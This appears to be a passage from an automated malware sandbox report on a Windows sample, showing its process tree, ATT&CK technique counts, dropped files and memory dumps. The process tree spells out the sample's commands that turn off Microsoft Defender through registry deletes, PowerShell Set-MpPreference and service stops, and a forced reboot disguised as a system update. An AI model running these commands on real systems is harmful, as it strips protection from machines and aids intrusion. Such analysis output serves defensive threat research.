C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f 2>nul & reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f 2>nul & reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /f 2>nul & reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /f 2>nul & reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /f 2>nul & reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /f 2>nul & reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /f 2>nul & reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /f 2>nul2⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WinDefend start=auto 2>nul2⤵
-
C:\Windows\system32\sc.exesc config WinDefend start=auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc start WinDefend 2>nul2⤵
-
C:\Windows\system32\sc.exesc start WinDefend3⤵
- Launches sc.exe
-
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c shutdown /r /t 60 /f /c "System update required" 2>nul2⤵
-
C:\Windows\system32\shutdown.exeshutdown /r /t 60 /f /c "System update required"3⤵
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul2⤵
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\System32\sc.exesc config WinDefend start=disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\userinit.exeC:\Windows\system32\userinit.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\UpdateCore.exe"C:\Users\Admin\AppData\Roaming\UpdateCore.exe"1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files\Windows Defender\MsMpEng.exe"C:\Program Files\Windows Defender\MsMpEng.exe"1⤵
-
C:\Windows\system32\wbem\mofcomp.exeC:\Windows\system32\wbem\mofcomp.exe "C:\Program Files\Windows Defender\ProtectionManagement.mof"2⤵
-
-
C:\Windows\system32\taskkill.exeC:\Windows\system32\taskkill.exe /f /FI "MODULES eq protectionmanagement.dll" /IM WmiPrvSE.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\wevtutil.exeC:\Windows\system32\wevtutil.exe uninstall-manifest C:\Windows\SystemTemp\68396974-7D82-A229-5819-45B33E6CCA56.man2⤵
-
-
C:\Windows\system32\wevtutil.exeC:\Windows\system32\wevtutil.exe install-manifest C:\Windows\SystemTemp\68396974-7D82-A229-5819-45B33E6CCA56.man "/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll" "/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll" "/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll"2⤵
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" SignatureUpdate -ScheduleJob -RestrictPrivileges2⤵
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" SignaturesUpdateService -ScheduleJob -HttpDownload -RestrictPrivileges2⤵
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" GetDeviceTicket -AccessKey 1C94914D-57A7-0A56-25E8-2AD3AB1C50812⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
-
C:\Windows\System32\PickerHost.exeC:\Windows\System32\PickerHost.exe -Embedding1⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
6Active Setup
1Port Monitors
1Registry Run Keys / Startup Folder
3Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2AppInit DLLs
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
6Active Setup
1Port Monitors
1Registry Run Keys / Startup Folder
3Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2AppInit DLLs
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Impair Defenses
6Disable or Modify Tools
4Safe Mode Boot
1Indicator Removal
5Clear Persistence
1Clear Windows Event Logs
1File Deletion
3Modify Registry
8Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
s_remove_18.svg
s_remove_18.svg
bg_pattern_RHP.png
bg_pattern_RHP.png
bg_patterns_header.png
illustrations_retina.png
new_icons.png
new_icons_retina.png
bg_patterns_header.png
illustrations.png
illustrations.png
illustrations_retina.png
rhp_world_icon_hover.png
rhp_world_icon.png
rhp_world_icon_hover_2x.png
rhp_world_icon.png
rhp_world_icon_2x.png
rhp_world_icon_2x.png
rhp_world_icon_hover.png
ui-strings.js
rhp_world_icon.png
rhp_world_icon_2x.png
rhp_world_icon_2x.png
rhp_world_icon_hover.png
rhp_world_icon_hover_2x.png
rhp_world_icon.png
rhp_world_icon_hover.png
rhp_world_icon_hover_2x.png
rhp_world_icon_hover_2x.png
ui-strings.js
example_icons.png
example_icons2x.png
example_icons.png
example_icons2x.png
icons.png
icons_retina.png
icons.png
icons_ie8.gif
main-selector.css
ui-strings.js
ui-strings.js
icons_ie8.gif
new_icons.png
icons_retina.png
new_icons_retina.png
main.css
bun.png
cstm_brand_preview.png
cstm_brand_preview2x.png
dd_arrow_small.png
dd_arrow_small.png
dd_arrow_small2x.png
dd_arrow_small2x.png
share_icons.png
share_icons2x.png
bun.png
cstm_brand_preview.png
cstm_brand_preview2x.png
nub.png
nub.png
share_icons.png
share_icons2x.png
ui-strings.js
ui-strings.js
ui-strings.js
ui-strings.js
DisplayLanguageNames.en_GB_EURO.txt
DisplayLanguageNames.en_US_POSIX.txt
fil.pak
fr-CA.pak
gd.pak
hu.pak
id.pak
is.pak
it.pak
ja.pak
ka.pak
kk.pak
km.pak
kn.pak
ko.pak
kok.pak
lb.pak
lo.pak
lt.pak
mi.pak
mk.pak
mr.pak
ms.pak
mt.pak
nb.pak
ne.pak
nl.pak
nn.pak
or.pak
pa.pak
pl.pak
pt-BR.pak
pt-PT.pak
qu.pak
ro.pak
ru.pak
sk.pak
sl.pak
Edge.dat.DATA
EdgeWebView.dat.DATA
af.pak.DATA
am.pak.DATA
ar.pak.DATA
as.pak.DATA
az.pak.DATA
bg.pak.DATA
bn-IN.pak.DATA
bs.pak.DATA
ca-Es-VALENCIA.pak.DATA
ca.pak.DATA
cs.pak.DATA
cy.pak.DATA
da.pak.DATA
de.pak.DATA
el.pak.DATA
en-GB.pak.DATA
en-US.pak.DATA
es-419.pak.DATA
es.pak.DATA
et.pak.DATA
eu.pak.DATA
fa.pak.DATA
fi.pak.DATA
fr.pak.DATA
ga.pak.DATA
gl.pak.DATA
gu.pak.DATA
he.pak.DATA
hr.pak.DATA
lv.pak.DATA
sq.pak.DATA
sr-Cyrl-BA.pak.DATA
sr-Latn-RS.pak.DATA
sr.pak.DATA
sv.pak.DATA
ta.pak.DATA
th.pak.DATA
tr.pak.DATA
tt.pak.DATA
ug.pak.DATA
uk.pak.DATA
ur.pak.DATA
vi.pak.DATA
zh-CN.pak.DATA
zh-TW.pak.DATA
SoftLandingAssetDark.gif.DATA
SoftLandingAssetLight.gif.DATA
delegatedWebFeatures.sccd.DATA
v8_context_snapshot.bin.DATA
Advertising
Content
LICENSE
Advertising
Analytics
Content
Entities
Other
Social
Staging
manifest.json
widevinecdm.dll.sig
manifest.json
beta.identity_helper.exe.manifest
canary.identity_helper.exe.manifest
dev.identity_helper.exe.manifest
internal.identity_helper.exe.manifest
identity_helper.Sparse.Stable.msix
identity_helper.Sparse.Stable.msix
msedge.dll.sig
msedge.exe.sig
msedge_100_percent.pak
msedge_200_percent.pak
msedgewebview2.exe.sig
notification_click_helper.exe
external_extensions.json
manifest.json
preloaded_data.pb
Analytics
CompatExceptions
Cryptomining
Entities
Fingerprinting
Other
Social
TransparentAdvertisers
Cryptomining
Fingerprinting
LICENSE
Logo.png
LogoBeta.png
LogoCanary.png
LogoDev.png
SmallLogo.png
SmallLogoBeta.png
SmallLogoCanary.png
SmallLogoDev.png
camera_mf_trace.wprp
mf_trace.wprp
resources.pri
identity_helper.Sparse.Stable.msix
vk_swiftshader_icd.json
identity_helper.Sparse.Canary.msix.DATA
identity_helper.Sparse.Beta.msix.DATA
identity_helper.Sparse.Dev.msix.DATA
identity_helper.Sparse.Stable.msix
external_extensions.json
ca.pak
pt-PT.pak
tr.pak
manifest.json
preloaded_data.pb
Edge.dat.DATA
EdgeWebView.dat.DATA
cs.pak.DATA
et.pak.DATA
eu.pak.DATA
Analytics.DATA
Cryptomining.DATA
Entities.DATA
Fingerprinting.DATA
LICENSE.DATA
Other.DATA
Social.DATA
TransparentAdvertisers.DATA
Cryptomining.DATA
Fingerprinting.DATA
LICENSE.DATA
Logo.png.DATA
LogoBeta.png.DATA
LogoCanary.png.DATA
LogoDev.png.DATA
SmallLogo.png.DATA
SmallLogoBeta.png.DATA
SmallLogoCanary.png.DATA
SmallLogoDev.png.DATA
identity_helper.Sparse.Internal.msix.DATA
vk_swiftshader_icd.json.DATA
delegatedWebFeatures.sccd
camera_mf_trace.wprp
mf_trace.wprp
identity_helper.exe
resources.pri
identity_helper.Sparse.Beta.msix
identity_helper.Sparse.Beta.msix
identity_helper.Sparse.Canary.msix
identity_helper.Sparse.Canary.msix
identity_helper.Sparse.Dev.msix
identity_helper.Sparse.Dev.msix
notification_helper.exe.manifest
show_third_party_software_licenses.bat
concrt140.dll
concrt140.dll
vccorlib140.dll
vccorlib140.dll
am_MASCULINE.pak
am_NEUTER.pak
msvcp140.dll
msvcp140.dll
vcruntime140.dll
vcruntime140.dll
vcruntime140_1.dll
vcruntime140_1.dll
invalid32x32.gif
win32_MoveNoDrop32x32.gif
MSOUC_F_COL.HXK
MSOUC_F_COL.HXK
MSOUC_K_COL.HXK
MSOUC_K_COL.HXK
YAHOO.NO.XML
YAHOO.NO.XML
misc.exe
misc.exe
vlc.mo
vlc.mo
MPDetection-20260704-115818.log
windowsdesktop-runtime-8.0.15-win-x64.msi
dotnet-hostfxr-7.0.16-win-x64.msi
dotnet-host-8.0.15-win-x64.msi
dotnet-runtime-8.0.15-win-x64.msi
vc_runtimeAdditional_x86.msi
vc_runtimeAdditional_x86.msi
data_1
data_0
data_1
data_2
data_3
data_0
data_2
data_3
BrowserMetrics-6A424716-1620.pma
BrowserMetrics-6A424783-16B0.pma
BrowserMetrics-6A424783-1700.pma
BrowserMetrics-6A425B0E-528.pma
BrowserMetrics-6A425B18-CF8.pma
807316a5-9b05-4690-8935-f0688a51502a.dmp
settings.dat
settings.dat
settings.dat
settings.dat
settings.dat
00a25afd-2c15-4feb-981d-da366c6aa36d.tmp
MANIFEST-000001
000003.log
LOG
LOG.old
MANIFEST-000001
BookmarkMergedSurfaceOrdering
temp-index
the-real-index
the-real-index
DIPS
DIPS-wal
SiteList-Enterprise.json
Edge Profile.ico
LOG
LOG.old
EdgeEDropSQLite.db
EdgeHubAppUsageSQLite.db
LOG
LOG.old
ExtensionActivityComp
ExtensionActivityEdge
CURRENT
MANIFEST-000001
Network Action Predictor
Network Persistent State
Network Persistent State
Network Persistent State~RFe5a0d21.TMP
SCT Auditing Pending Reports
SCT Auditing Pending Reports
Sdch Dictionaries
Sdch Dictionaries
Preferences
Preferences
Preferences
Preferences
PreferredApps
Secure Preferences
Secure Preferences
Secure Preferences
the-real-index
the-real-index~RFe59d1fc.TMP
index.txt
index.txt
index.txt
index.txt~RFe597d44.TMP
index
index
Shortcuts
sync_diagnostic.log
sync_diagnostic.log
WebAssistDatabase
favorites_diagnostic.log
heavy_ad_intervention_opt_out.db
CURRENT
OperationConfig
OperationConfig~RFe59ce24.TMP
Last Version
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Variations
metadata.json
83557226-1918-48ba-a8a8-116838f1cdf9.tmp
excel.exe.db
officeclicktorun.exe.db
iconcache_48.db
iconcache_idx.db
StartupProfileData-NonInteractive
settings.dat
settings.dat
prep_Activatable Class_Hermes_perf.cache
prep_Activatable Class_Hermes_perf.cache
edbres00001.jrs
content_new.js
2823318777ntouromlalnodry--naod.sqlite-shm
2823318777ntouromlalnodry--naod.sqlite-shm
3561288849sdhlie.sqlite
3561288849sdhlie.sqlite
UpdateCore.exe
desktop.ini
RuntimeProc.exe
desktop.ini
NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms
desktop.ini
desktop.ini
desktop.ini
__PSScriptPolicyTest_h5t32caj.2s0.ps1
memory/1340-62-0x000001EFD2720000-0x000001EFD27D2000-memory.dmp
memory/1564-47-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/1564-46-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/1636-28-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/1636-29-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/2152-27-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/2152-26-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2292-25-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/2292-24-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2400-36-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2400-37-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/2428-31-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/2428-30-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-6-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-5-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-14-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-17-0x0000029AEBDE0000-0x0000029AEBDFE000-memory.dmp
memory/2916-20-0x0000029AEBDD0000-0x0000029AEBDDA000-memory.dmp
memory/2916-13-0x0000029AD3D10000-0x0000029AD3D32000-memory.dmp
memory/2916-9-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-8-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-7-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-10-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-4-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-3-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-23-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-18-0x0000029AEC0A0000-0x0000029AEC152000-memory.dmp
memory/2916-19-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2916-21-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2984-35-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/2984-34-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2992-38-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/2992-39-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/3796-33-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/3796-32-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/4884-42-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/4884-41-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/5392-3404-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/5392-40-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/5816-12925-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/5816-12638-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/6096-48-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/6096-49-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-14470-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-28654-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-1-0x00007FFBB7F5F000-0x00007FFBB7F60000-memory.dmp
memory/6112-14366-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-24166-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-43-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/6112-2799-0x0000016E10690000-0x0000016E108F3000-memory.dmp
memory/6112-0-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/6112-14538-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-2-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/6112-14515-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-9072-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-7370-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-2797-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-28570-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-28656-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/6112-18507-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-26518-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6112-13118-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/6844-888-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/6844-1029-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/9132-3039-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/9132-3155-0x00007FF690E10000-0x00007FF690E7A000-memory.dmp
memory/13292-3370-0x00007FF717600000-0x00007FF71766A000-memory.dmp
memory/13292-3156-0x00007FFBB7E00000-0x00007FFBB8063000-memory.dmp
memory/20600-28572-0x000001FAE27C0000-0x000001FAE2872000-memory.dmp
memory/23032-28909-0x000002A2A4FF0000-0x000002A2A4FF4000-memory.dmp
memory/23032-28908-0x000002A292BE0000-0x000002A292BE4000-memory.dmp
memory/23032-28913-0x000002A2B3FE0000-0x000002A2B3FE4000-memory.dmp
memory/23032-28910-0x000002A2A7FD0000-0x000002A2A7FD4000-memory.dmp
memory/23032-28911-0x000002A2A7FE0000-0x000002A2A7FE4000-memory.dmp
memory/23032-28912-0x000002A2A7FF0000-0x000002A2A7FF4000-memory.dmp
memory/23032-28905-0x000002A2A6150000-0x000002A2A6697000-memory.dmp
memory/23032-28906-0x000002A2A6780000-0x000002A2A6E50000-memory.dmp
memory/23032-28907-0x000002A2A6EC0000-0x000002A2A6EC1000-memory.dmp
memory/23032-28914-0x000002A2B3FF0000-0x000002A2B3FF4000-memory.dmp
memory/30448-28764-0x000001B801FD0000-0x000001B801FF0000-memory.dmp
memory/30448-28744-0x000001B800450000-0x000001B800550000-memory.dmp
memory/30448-28745-0x000001B800450000-0x000001B800550000-memory.dmp
memory/30448-28746-0x000001B800450000-0x000001B800550000-memory.dmp
memory/30448-28765-0x000001B8146A0000-0x000001B8147A0000-memory.dmp
memory/30448-28776-0x000001B804430000-0x000001B804450000-memory.dmp
memory/30448-28790-0x000001B8149B0000-0x000001B8149D0000-memory.dmp